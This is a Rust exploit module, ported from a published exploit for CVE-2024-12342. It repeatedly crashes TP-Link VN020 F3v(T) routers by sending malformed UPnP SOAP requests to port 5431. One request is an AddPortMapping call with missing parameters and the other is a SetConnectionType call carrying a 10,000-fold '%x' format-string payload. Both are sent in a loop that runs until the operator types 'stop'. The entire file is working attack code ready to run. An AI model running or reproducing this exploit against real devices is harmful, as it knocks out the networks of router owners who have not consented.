// CVE-2024-12342 - TP-Link VN020 F3v(T) - Denial of Service
// Exploit Author: Mohamed Maatallah
// Ported to Rust

use anyhow::{Context, Result};
use reqwest::Client;
use std::io::{self, BufRead};
use std::sync::{
    atomic::{AtomicBool, Ordering},
    Arc,
};
use std::thread;
use std::time::Duration;
use tokio::join;

/// Normalize IPv6/IPv4/hostname and fix extra brackets
fn normalize_target_host(raw: &str) -> String {
    // Remove outer brackets if any, then reapply correctly for IPv6
    let stripped = raw.trim_matches(|c| c == '[' || c == ']');
    if stripped.contains(':') {
        format!("[{stripped}]")
    } else {
        stripped.to_string()
    }
}

/// Send the malformed AddPortMapping SOAP request (PoC 1)
async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
    // Missing parameters PoC - will crash the router
    let url = format!("http://{target}:5431/control/WANIPConnection");
    let body = r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <u:AddPortMapping>
      <NewPortMappingDescription>hello</NewPortMappingDescription>
    </u:AddPortMapping>
  </s:Body>
</s:Envelope>"#;

    let res = client
        .post(&url)
        .header("Content-Type", "text/xml")
        .header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"")
        .body(body)
        .send()
        .await
        .context("Failed to send DoS request 1 (Missing Parameters)")?;

    println!("[+] PoC 1 sent. Status: {}", res.status());
    Ok(())
}

/// Send the memory corruption SetConnectionType SOAP request (PoC 2)
async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
    // Memory corruption PoC using format string overflow
    let long_payload = "%x".repeat(10_000);
    let url = format!("http://{target}:5431/control/WANIPConnection");
    let body = format!(
        r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <u:SetConnectionType xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
      <NewConnectionType>{}</NewConnectionType>
    </u:SetConnectionType>
  </s:Body>
</s:Envelope>"#,
        long_payload
    );

    let res = client
        .post(&url)
        .header("Content-Type", "text/xml")
        .header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"")
        .body(body)
        .send()
        .await
        .context("Failed to send DoS request 2 (Memory Corruption)")?;

    println!("[+] PoC 2 sent. Status: {}", res.status());
    Ok(())
}

/// Entry point for the exploit module
pub async fn run(raw_target: &str) -> Result<()> {
    // Normalize target
    let target = normalize_target_host(raw_target);

    // Create HTTP client with insecure certs accepted and 5s timeout
    let client = Client::builder()
        .timeout(Duration::from_secs(5))
        .danger_accept_invalid_certs(true)
        .build()
        .context("Failed to build HTTP client")?;

    println!("[*] TP-Link VN020-F3v(T) DoS Exploit Running...");
    println!("[!] This module will not delay or stop unless you type 'stop' and press ENTER.");

    let stop_flag = Arc::new(AtomicBool::new(false));
    let stop_flag_clone = Arc::clone(&stop_flag);

    // Monitor stdin for "stop" command
    thread::spawn(move || {
        let stdin = io::stdin();
        for line in stdin.lock().lines() {
            if let Ok(input) = line {
                if input.trim().eq_ignore_ascii_case("stop") {
                    stop_flag_clone.store(true, Ordering::Relaxed);
                    println!("[*] Stopping attack...");
                    break;
                }
            }
        }
    });

    // Continuous dual PoC attack until user stops
    while !stop_flag.load(Ordering::Relaxed) {
        let (r1, r2) = join!(
            dos_missing_parameters(&client, &target),
            dos_memory_corruption(&client, &target)
        );

        if let Err(e) = r1 {
            eprintln!("[!] Error during PoC 1: {e}");
        }
        if let Err(e) = r2 {
            eprintln!("[!] Error during PoC 2: {e}");
        }
    }

    println!("[+] Exploit session ended.");
    Ok(())
}
